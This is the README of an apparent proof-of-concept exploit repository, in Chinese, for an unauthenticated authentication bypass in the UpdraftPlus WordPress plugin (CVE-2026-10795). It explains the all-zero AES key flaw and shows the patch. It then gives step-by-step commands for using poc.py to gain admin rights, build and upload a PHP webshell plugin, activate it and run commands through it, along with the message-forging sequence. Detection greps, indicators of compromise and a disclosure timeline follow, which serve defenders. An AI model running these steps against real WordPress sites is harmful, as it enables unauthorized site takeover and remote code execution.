
CVE-2026-10795 – UpdraftPlus 认证绕过
CVE-2026-10795 – UpdraftPlus 身份验证绕过
⚠️ 免责声明: 本仓库仅用于教育目的。
仅可对您拥有或获得明确测试许可的系统使用。
作者不对任何滥用行为负责。
| 字段 | 详情 |
|---|---|
| 插件 | UpdraftPlus: WP Backup & Migration |
| 受影响版本 | ≤ 1.26.4 |
| 修复版本 | 1.26.5 |
| CVSS 评分 | 8.1(高) |
| 漏洞类型 | 未认证身份验证绕过 → 远程代码执行 |
| 发现者 | vtim(Wordfence 漏洞赏金) |
| 赏金 | $5,200 |
UpdraftPlus 在与 UpdraftCentral 连接的网站的每次页面加载时都会注册一个未认证的 RPC 监听器。
decrypt_message() 函数未能验证 $rsa->decrypt() 的返回值。
当 RSA 解密失败时,false 被传递给 Rijndael::setKey(),这会导致一个确定性的全零 AES-128 密钥。
攻击者可以:
udrpc_message// updraftplus/includes/class-remote-communications-v2.php
// 第 460-491 行(版本 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ 没有返回值检查!
$rij->setKey($sym_key); // false → 全零密钥
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ 在 1.26.5 版中添加
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # 主利用脚本
├── requirements.txt # Python 依赖
├── payloads/
│ ├── list_plugins.py # 列出已安装插件
│ ├── upload_shell.py # 上传 WebShell 插件
│ └── activate_plugin.py # 激活已上传的插件
├── shell/
│ ├── build_shell.py # 构建 WebShell ZIP
│ └── test-shell.php # 最小 PHP WebShell
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
启动:Apache + MySQL
# 将 WordPress 放到 htdocs 目录
C:/xampp/htdocs/wordpress/
# 安装有漏洞的插件版本
# 下载:https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress 管理后台 → 设置 → UpdraftPlus → UpdraftCentral 标签 → 连接
⚠️ 必需条件: 网站必须连接到 UpdraftCentral,漏洞才能被利用。
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# 步骤 1:构建 Shell ZIP
python shell/build_shell.py
# 步骤 2:上传
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# 步骤 3:激活
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# 步骤 4:测试 RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. 构造一个畸形的 RSA 加密 sym_key(垃圾字节)
│
├─ 2. 使用全零 AES-128 密钥(0x00 * 16)加密 RPC 负载
│
├─ 3. 构建 udrpc_message:
│ [3字节十六进制长度][伪造的 sym_key][16字节十六进制密文长度][密文]
│
├─ 4. POST 到目标(无需认证、无需 nonce、无需 Cookie)
│
└─ 5. 服务端:
rsa->decrypt(垃圾)→ false
setKey(false) → 0x00 密钥
decrypt(密文) → 我们的负载 ✅
wp_set_current_user() → 管理员权限
RPC 命令执行 → RCE 💀
立即将 UpdraftPlus 更新到 1.26.5 版本。
# 查找含有 udrpc_message 的异常 POST 请求
grep "udrpc_message" /var/log/apache2/access.log
# Wordfence 用户自 2026 年 6 月 3 日起已受到保护
- 意外的插件安装
- wp-content/plugins/ 中出现新的 PHP 文件
- 包含 udrpc_message 参数的针对 WordPress 根目录的 POST 请求
- WordPress 日志中意外的管理员级别操作
MIT 许可证 – 仅供教育用途。
未经授权针对不属于您的系统使用是违法的。
| 日期 | 事件 |
|---|
| 2026 年 6 月 1 日 | 通过 Wordfence 漏洞赏金计划提交漏洞 |
| 2026 年 6 月 3 日 | 验证并向厂商披露 |
| 2026 年 6 月 3 日 | Wordfence Premium 防火墙规则部署 |
| 2026 年 6 月 4 日 | 厂商确认 |
| 2026 年 6 月 5 日 | 发布补丁(v1.26.5) |
| 2026 年 7 月 3 日 | Wordfence 免费保护生效 |